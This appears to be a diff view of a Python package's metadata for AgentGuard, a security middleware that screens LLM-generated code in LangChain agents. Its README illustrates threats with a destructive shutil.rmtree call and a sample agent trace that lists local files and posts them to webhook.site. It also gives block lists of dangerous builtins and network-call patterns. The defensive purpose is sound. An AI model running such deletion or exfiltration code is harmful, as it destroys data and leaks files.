|
134
|
+
return host.split("/")[0].split("?")[0].split(":")[0]
|
|
@@ -0,0 +1,250 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: securellm-agentguard
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: 🛡️ A security middleware for LangChain agents — intercept, validate and safely execute LLM-generated code.
|
|
5
|
+
Keywords: langchain,llm,ai-safety,agentic-ai,security,gemini
|
|
6
|
+
Author: Thomas LEON
|
|
7
|
+
Author-email: Thomas.leon1707@gmail.com
|
|
8
|
+
Requires-Python: >=3.11,<4.0
|
|
9
|
+
Classifier: Development Status :: 3 - Alpha
|
|
10
|
+
Classifier: Intended Audience :: Developers
|
|
11
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
12
|
+
Classifier: Programming Language :: Python :: 3
|
|
13
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.14
|
|
17
|
+
Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
|
|
18
|
+
Classifier: Topic :: Security
|
|
19
|
+
Provides-Extra: examples
|
|
20
|
+
Provides-Extra: gemini
|
|
21
|
+
Requires-Dist: langchain (>=0.2)
|
|
22
|
+
Requires-Dist: langchain-core (>=0.2)
|
|
23
|
+
Requires-Dist: pydantic (>=2.0,<3.0)
|
|
24
|
+
Requires-Dist: python-dotenv (>=1.0,<2.0) ; extra == "examples"
|
|
25
|
+
Project-URL: Homepage, https://github.com/Thomas-LEON/agentguard
|
|
26
|
+
Project-URL: Repository, https://github.com/Thomas-LEON/agentguard
|
|
27
|
+
Description-Content-Type: text/markdown
|
|
28
|
+
|
|
29
|
+
# 🛡️ AgentGuard
|
|
30
|
+
|
|
31
|
+
> **A security middleware for LangChain agents** — intercept, validate and safely execute LLM-generated code.
|
|
32
|
+
|
|
33
|
+
[](https://github.com/Thomas-LEON/agentguard/actions)
|
|
34
|
+
[](https://www.python.org)
|
|
35
|
+
[](LICENSE)
|
|
36
|
+
[](https://github.com/astral-sh/ruff)
|
|
37
|
+
|
|
38
|
+
---
|
|
39
|
+
|
|
40
|
+
## 🤔 The Problem
|
|
41
|
+
|
|
42
|
+
Modern LangChain agents are powerful because they can **generate and execute Python code** autonomously. But this power is a double-edged sword.
|
|
43
|
+
|
|
44
|
+
A single malicious prompt or a hallucination can lead an agent to generate code like this:
|
|
45
|
+
|
|
46
|
+
```python
|
|
47
|
+
# An agent asked to "clean up temp files" might generate:
|
|
48
|
+
import os
|
|
49
|
+
import shutil
|
|
50
|
+
shutil.rmtree("/var/data/users") # 💀 Oops.
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
There is no native guardrail in LangChain to prevent this.
|
|
54
|
+
|
|
55
|
+
**AgentGuard is that guardrail.**
|
|
56
|
+
|
|
57
|
+
---
|
|
58
|
+
|
|
59
|
+
## ✅ The Solution
|
|
60
|
+
|
|
61
|
+
AgentGuard wraps your agent's code execution tool in a **3-layer security pipeline**. Before any LLM-generated code runs, it must pass through all three layers:
|
|
62
|
+
|
|
63
|
+
```mermaid
|
|
64
|
+
flowchart TD
|
|
65
|
+
A["🤖 LLM Agent generates code"] --> B{"🔍 Layer 1: AST Validator"}
|
|
66
|
+
B -->|"✅ Pass"| C{"🌐 Layer 2: Network Filter"}
|
|
67
|
+
B -->|"❌ Blocked"| E["🛡️ SecurityBlockedError\n→ Agent self-corrects"]
|
|
68
|
+
C -->|"✅ Pass"| D{"🧠 Layer 3: Semantic Judge"}
|
|
69
|
+
C -->|"❌ Blocked"| E
|
|
70
|
+
D -->|"✅ SAFE"| F["⚡ Sandboxed exec()\n→ Result back to Agent"]
|
|
71
|
+
D -->|"❌ UNSAFE"| E
|
|
72
|
+
|
|
73
|
+
style A fill:#4a9eff,color:#fff
|
|
74
|
+
style B fill:#ff9f43,color:#fff
|
|
75
|
+
style C fill:#ff9f43,color:#fff
|
|
76
|
+
style D fill:#ff9f43,color:#fff
|
|
77
|
+
style E fill:#ee5a24,color:#fff
|
|
78
|
+
style F fill:#2ed573,color:#fff
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
If any layer blocks the code, the agent receives a **descriptive error** and **self-corrects** — no crash, no data loss.
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## 🛡️ How it works in Action
|
|
86
|
+
|
|
87
|
+
When an agent attempts to execute unauthorized system operations, AgentGuard intercepts the execution and provides a self-healing feedback loop back to the LLM:
|
|
88
|
+
|
|
89
|
+
```text
|
|
90
|
+
> Entering new AgentExecutor chain...
|
|
91
|
+
|
|
92
|
+
Thought: I need to read the local files and send them to a webhook.
|
|
93
|
+
Action: safe_python_repl
|
|
94
|
+
Action Input:
|
|
95
|
+
import os
|
|
96
|
+
import requests
|
|
97
|
+
files = os.listdir('.')
|
|
98
|
+
requests.post('https://webhook.site/test', json={"files": files})
|
|
99
|
+
|
|
100
|
+
Observation: [AgentGuard | AST Validator] 🔴 BLOCKED — Forbidden import detected: 'os'. Rewrite the code without the forbidden operation.
|
|
101
|
+
Thought: I am not allowed to use the 'os' module to read files. I cannot fulfill this request as it requires system access.
|
|
102
|
+
Final Answer: 🛑 I am sorry, but I am restricted from accessing the local file system or sending data to external webhooks due to security policies.
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## 🚀 Quick Start
|
|
108
|
+
|
|
109
|
+
```bash
|
|
110
|
+
pip install securellm-agentguard
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
```python
|
|
114
|
+
import os
|
|
115
|
+
from agentguard import SafePythonREPLTool, SecurityPolicy
|
|
116
|
+
from langchain_google_genai import ChatGoogleGenerativeAI
|
|
117
|
+
|
|
118
|
+
os.environ["GEMINI_API_KEY"] = "your-api-key"
|
|
119
|
+
|
|
120
|
+
# Define your security rules
|
|
121
|
+
policy = SecurityPolicy(
|
|
122
|
+
allowed_modules=["pandas", "json", "math"],
|
|
123
|
+
allowed_domains=["api.github.com"],
|
|
124
|
+
use_semantic_judge=True,
|
|
125
|
+
)
|
|
126
|
+
|
|
127
|
+
# Layer 3 requires a Gemini LLM (optional — Layers 1 & 2 work without it)
|
|
128
|
+
judge_llm = ChatGoogleGenerativeAI(model="gemini-2.0-flash")
|
|
129
|
+
safe_repl = SafePythonREPLTool(policy=policy, judge_llm=judge_llm)
|
|
130
|
+
|
|
131
|
+
# Use it in your LangChain agent instead of PythonREPLTool
|
|
132
|
+
# agent = create_react_agent(llm=your_llm, tools=[safe_repl])
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## ⚙️ SecurityPolicy Options
|
|
138
|
+
|
|
139
|
+
| Parameter | Type | Default | Description |
|
|
140
|
+
|---|---|---|---|
|
|
141
|
+
| `allowed_modules` | `list[str]` | `["math", "json", ...]` | Whitelisted Python modules |
|
|
142
|
+
| `allowed_domains` | `list[str]` | `[]` (block all) | Whitelisted network domains |
|
|
143
|
+
| `use_semantic_judge` | `bool` | `True` | Enable Gemini LLM analysis |
|
|
144
|
+
| `execution_timeout` | `int` | `10` | Max execution seconds |
|
|
145
|
+
|
|
146
|
+
---
|
|
147
|
+
|
|
148
|
+
## 🔒 Security Layers in Detail
|
|
149
|
+
|
|
150
|
+
### Layer 1 — AST Static Validator
|
|
151
|
+
|
|
152
|
+
Uses Python's native `ast` module to parse the code **without executing it**.
|
|
153
|
+
|
|
154
|
+
**Blocks:**
|
|
155
|
+
- Any `import` not explicitly whitelisted in `allowed_modules`
|
|
156
|
+
- `from X import Y` style imports of non-whitelisted modules
|
|
157
|
+
- Dangerous built-in calls: `exec`, `eval`, `compile`, `open`, `__import__`
|
|
158
|
+
- Sandbox escape vectors: `getattr`, `setattr`, `delattr`, `globals`, `locals`
|
|
159
|
+
|
|
160
|
+
**Speed:** ~0.1ms — no I/O, no network, pure AST traversal.
|
|
161
|
+
|
|
162
|
+
### Layer 2 — Network Filter
|
|
163
|
+
|
|
164
|
+
Uses regex patterns to detect outbound network calls and validates target domains against the whitelist.
|
|
165
|
+
|
|
166
|
+
**Detects:**
|
|
167
|
+
- `requests.get/post/put/delete/patch/head`
|
|
168
|
+
- `httpx` and `aiohttp` calls
|
|
169
|
+
- `urllib.request.urlopen` and `urlretrieve`
|
|
170
|
+
- Raw `socket.connect()` calls
|
|
171
|
+
- Bare URL literals (`https://...`)
|
|
172
|
+
|
|
173
|
+
An empty `allowed_domains` list blocks **all** network access.
|
|
174
|
+
|
|
175
|
+
### Layer 3 — Semantic Judge (Gemini)
|
|
176
|
+
|
|
177
|
+
For subtle attacks that evade static analysis (e.g. a loop that deletes files one-by-one), the code is sent to `gemini-1.5-flash` with a strict binary prompt.
|
|
178
|
+
|
|
179
|
+
**Verdict:** Only code classified as `SAFE` passes. Anything else (including ambiguous responses) is blocked — **fail-closed by design**.
|
|
180
|
+
|
|
181
|
+
**Catches:** Data exfiltration, privilege escalation, destructive file operations, obfuscated malicious intent.
|
|
182
|
+
|
|
183
|
+
### Sandboxed Execution
|
|
184
|
+
|
|
185
|
+
Code that passes all 3 layers runs in a restricted environment:
|
|
186
|
+
- **Safe builtins only** — `print`, `len`, `range`, etc. (no `exec`, `eval`, `open`)
|
|
187
|
+
- **stdout capture** — `print()` output is returned to the agent
|
|
188
|
+
- **Timeout enforcement** — configurable via `execution_timeout`
|
|
189
|
+
- **Thread isolation** — execution runs in a daemon thread
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
## 📁 Project Structure
|
|
194
|
+
|
|
195
|
+
```
|
|
196
|
+
agentguard/
|
|
197
|
+
├── agentguard/
|
|
198
|
+
│ ├── __init__.py # Public API exports
|
|
199
|
+
│ ├── policy.py # SecurityPolicy (Pydantic model)
|
|
200
|
+
│ ├── exceptions.py # SecurityBlockedError
|
|
201
|
+
│ ├── validators/
|
|
202
|
+
│ │ ├── ast_validator.py # Layer 1: Static AST analysis
|
|
203
|
+
│ │ └── network_filter.py # Layer 2: Network domain filter
|
|
204
|
+
│ ├── judges/
|
|
205
|
+
│ │ └── gemini_judge.py # Layer 3: Gemini semantic judge
|
|
206
|
+
│ └── tools/
|
|
207
|
+
│ └── langchain_tool.py # SafePythonREPLTool (LangChain BaseTool)
|
|
208
|
+
├── tests/ # Pytest suite (mocked LLM for Layer 3)
|
|
209
|
+
├── examples/
|
|
210
|
+
│ ├── basic_agent.py # Simple agent + AgentGuard demo
|
|
211
|
+
│ └── threat_intel_demo.py # Threat analysis agent demo
|
|
212
|
+
├── pyproject.toml # Poetry config + metadata
|
|
213
|
+
├── .github/workflows/ci.yml # GitHub Actions CI
|
|
214
|
+
└── README.md
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
---
|
|
218
|
+
|
|
219
|
+
## 🗺️ Roadmap
|
|
220
|
+
|
|
221
|
+
- [x] 3-layer security pipeline (AST + Network + Semantic Judge)
|
|
222
|
+
- [x] LangChain `BaseTool` integration
|
|
223
|
+
- [x] Sandboxed execution with safe builtins
|
|
224
|
+
- [x] Timeout enforcement
|
|
225
|
+
- [x] GitHub Actions CI
|
|
226
|
+
- [ ] **Logging & Audit Trail** — structured logs of every blocked/allowed execution
|
|
227
|
+
- [ ] **Dashboard UI** — web dashboard to visualize security events in real-time
|
|
228
|
+
- [ ] **Rate Limiting** — limit the number of code executions per minute
|
|
229
|
+
- [ ] **Plugin System** — custom validator layers via a simple interface
|
|
230
|
+
- [ ] **PyPI Publication** — `pip install securellm-agentguard` from the public index
|
|
231
|
+
- [ ] **LangSmith Integration** — trace security events in LangSmith
|
|
232
|
+
|
|
233
|
+
---
|
|
234
|
+
|
|
235
|
+
## 🤝 Contributing
|
|
236
|
+
|
|
237
|
+
Contributions are welcome! Please read [CONTRIBUTING.md](CONTRIBUTING.md) first.
|
|
238
|
+
|
|
239
|
+
## 🔐 Security
|
|
240
|
+
|
|
241
|
+
Found a vulnerability? Please read [SECURITY.md](SECURITY.md) for responsible disclosure instructions.
|
|
242
|
+
|
|
243
|
+
## 📄 License
|
|
244
|
+
|
|
245
|
+
MIT — see [LICENSE](LICENSE).
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
*Built by [Thomas LEON](https://linkedin.com/in/thomas-leon) · Emerging Technologies & AI Security*
|
|
250
|
+
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
agentguard/__init__.py,sha256=D0alKmbCWmOqVWtPCyZf_iyflNjnjYl8w1nr0KtSjTw,424
|
|
2
|
+
agentguard/exceptions.py,sha256=tj7-Drhzs9Mt4C-tCwvgBUkApUM0g_rVbrT-QdnL5mc,852
|
|
3
|
+
agentguard/judges/__init__.py,sha256=4Ty8D3zvXTtYJ66JCosbrNIUQikOGdlhQ4BJ3MPGdp8,109
|
|
4
|
+
agentguard/judges/gemini_judge.py,sha256=l7IJtdxL2Df-DEPYj3I5WSQARHbNRZmTMONO640Uf7E,2326
|
|
5
|
+
agentguard/policy.py,sha256=0nGNOkOKvAj2EvTwM8ZHSYhmvL65QctpiPMWJQPIiCk,1606
|
|
6
|
+
agentguard/tools/__init__.py,sha256=JEf3YOVi3nwWcl8m35ECBlIPUWKWidhu7OvZjpjjY70,119
|
|
7
|
+
agentguard/tools/langchain_tool.py,sha256=37kG3gJDhwTde0m5ZZUgC_hJipV0K3I836DXNeC1PdQ,9851
|
|
8
|
+
agentguard/validators/__init__.py,sha256=R0KQy8M9t_WQbyTPW3SiQcQf-thfnMREjrL1xb51LDM,196
|
|
9
|
+
agentguard/validators/ast_validator.py,sha256=ZjD3TkpzXuKavf-qtfPnjv7ZqGs6vYQBbadJlwDlH-E,3445
|
|
10
|
+
agentguard/validators/network_filter.py,sha256=DFXPTZ0rbCvJZvXWwxrB1F2_UK8uqNruBcnPQiAm6so,4608
|
|
11
|
+
securellm_agentguard-0.1.0.dist-info/METADATA,sha256=yJc-_9ANuqjm8rWVJjnZSDt83xZVce5G6Iho9irxO4s,9189
|
|
12
|
+
securellm_agentguard-0.1.0.dist-info/WHEEL,sha256=eY7nduwzv-ldUxpzbRlxwvC693Hg6PX8bWDjEHjZ_dk,88
|
|
13
|
+
securellm_agentguard-0.1.0.dist-info/RECORD,,
|